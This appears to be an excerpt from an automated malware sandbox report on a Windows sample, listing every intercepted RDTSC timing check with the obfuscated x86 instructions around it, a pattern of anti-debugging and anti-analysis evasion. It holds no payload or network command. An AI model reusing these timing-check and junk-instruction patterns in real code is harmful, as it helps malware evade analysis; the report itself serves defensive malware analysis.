Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 403B1D second address: 403B21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 403B21 second address: 403B25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 403B25 second address: 403B2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 403B2B second address: 403B32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 403B32 second address: 403B6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push edi 0x0000000c push ebx 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop ebx 0x00000010 pop edi 0x00000011 pop eax 0x00000012 mov si, di 0x00000015 lea ebx, dword ptr [ebp+1244F8B3h] 0x0000001b or esi, dword ptr [ebp+122D34E6h] 0x00000021 push eax 0x00000022 push esi 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FAD60CE3D83h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 403BD0 second address: 403BDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FAD607DA406h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 403CD0 second address: 403CDA instructions: 0x00000000 rdtsc 0x00000002 jg 00007FAD60CE3D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 403CDA second address: 403CE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 403CE0 second address: 403CE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 403E1F second address: 403E27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 3E88B5 second address: 3E88CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 jmp 00007FAD60CE3D82h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 422ACE second address: 422AD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 422D44 second address: 422D48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 422D48 second address: 422D5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD607DA413h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 422D5F second address: 422D65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 422D65 second address: 422D71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jl 00007FAD607DA406h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 422D71 second address: 422D97 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jl 00007FAD60CE3D76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FAD60CE3D87h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 423044 second address: 42304C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 42304C second address: 423056 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FAD60CE3D76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 42319F second address: 4231A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4231A5 second address: 4231A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4231A9 second address: 4231C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FAD607DA406h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c ja 00007FAD607DA40Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4231C1 second address: 4231DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD60CE3D80h 0x00000007 jc 00007FAD60CE3D7Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 423320 second address: 42333F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edi 0x00000006 jmp 00007FAD607DA40Dh 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 42333F second address: 423343 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 423343 second address: 423349 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 423349 second address: 423352 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 423352 second address: 423359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 423359 second address: 423360 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4237DB second address: 4237E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 42391B second address: 423925 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FAD60CE3D76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 423925 second address: 423933 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 423933 second address: 423937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 423AB6 second address: 423ABF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 423ABF second address: 423AC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 423AC4 second address: 423AE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FAD607DA406h 0x0000000a jmp 00007FAD607DA413h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 41B6CB second address: 41B6CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 423DC1 second address: 423DCD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 42479D second address: 4247A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4247A1 second address: 4247AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 429EB7 second address: 429EBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 429EBD second address: 429EC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 429EC9 second address: 429EDB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jns 00007FAD60CE3D76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 429EDB second address: 429EED instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FAD607DA406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007FAD607DA412h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 429EED second address: 429EF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 42DE1A second address: 42DE20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 42DE20 second address: 42DE26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 42DE26 second address: 42DE6C instructions: 0x00000000 rdtsc 0x00000002 jne 00007FAD607DA40Eh 0x00000008 push esi 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop esi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 jmp 00007FAD607DA40Dh 0x00000016 jnp 00007FAD607DA406h 0x0000001c pop edi 0x0000001d jmp 00007FAD607DA419h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 42DFB9 second address: 42DFD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD60CE3D85h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 42DFD4 second address: 42DFE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a js 00007FAD607DA406h 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 42DFE8 second address: 42E004 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FAD60CE3D7Fh 0x0000000a jl 00007FAD60CE3D8Fh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 42E73E second address: 42E744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 42E744 second address: 42E74A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 42E74A second address: 42E753 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 42E753 second address: 42E76C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD60CE3D7Dh 0x00000009 pop ebx 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 42E76C second address: 42E770 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 42E770 second address: 42E77A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 42E77A second address: 42E786 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007FAD607DA406h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 42E8DB second address: 42E8E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43065C second address: 430663 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43071D second address: 430758 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FAD60CE3D78h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jne 00007FAD60CE3D8Ch 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FAD60CE3D7Ch 0x0000001c rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 430758 second address: 43076D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FAD607DA406h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [eax] 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43076D second address: 430771 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 430771 second address: 430791 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c jmp 00007FAD607DA40Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 jng 00007FAD607DA406h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 430791 second address: 4307D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD60CE3D87h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pop eax 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007FAD60CE3D78h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000018h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 push 4BF68D6Dh 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4307D8 second address: 4307DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 430955 second address: 430959 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 430959 second address: 43096B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007FAD607DA40Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43096B second address: 43096F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 430F86 second address: 430F8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 430F8A second address: 430F90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43146F second address: 431473 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 431827 second address: 43185B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FAD60CE3D7Fh 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007FAD60CE3D88h 0x00000014 push edx 0x00000015 pop edx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 431A68 second address: 431A6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 431A6E second address: 431A72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 431A72 second address: 431AA3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD607DA40Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FAD607DA40Fh 0x00000011 nop 0x00000012 xor edi, dword ptr [ebp+122D35D2h] 0x00000018 clc 0x00000019 push eax 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 431AA3 second address: 431AA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 431F21 second address: 431F2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 431F2C second address: 431F37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FAD60CE3D76h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 431F37 second address: 431F3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 431FC3 second address: 431FD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007FAD60CE3D76h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4350BB second address: 4350CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c je 00007FAD607DA406h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4350CE second address: 4350D8 instructions: 0x00000000 rdtsc 0x00000002 je 00007FAD60CE3D7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 437111 second address: 437118 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 437118 second address: 43711D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 439C48 second address: 439C4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4399EB second address: 439A06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD60CE3D81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 439C4C second address: 439C56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 439C56 second address: 439C5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 439C5A second address: 439C5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 439C5E second address: 439CBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 sbb si, 9B00h 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007FAD60CE3D78h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 0000001Ah 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push esi 0x0000002e call 00007FAD60CE3D78h 0x00000033 pop esi 0x00000034 mov dword ptr [esp+04h], esi 0x00000038 add dword ptr [esp+04h], 0000001Bh 0x00000040 inc esi 0x00000041 push esi 0x00000042 ret 0x00000043 pop esi 0x00000044 ret 0x00000045 mov edi, dword ptr [ebp+122D35C2h] 0x0000004b push eax 0x0000004c pushad 0x0000004d push esi 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 439CBF second address: 439CC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
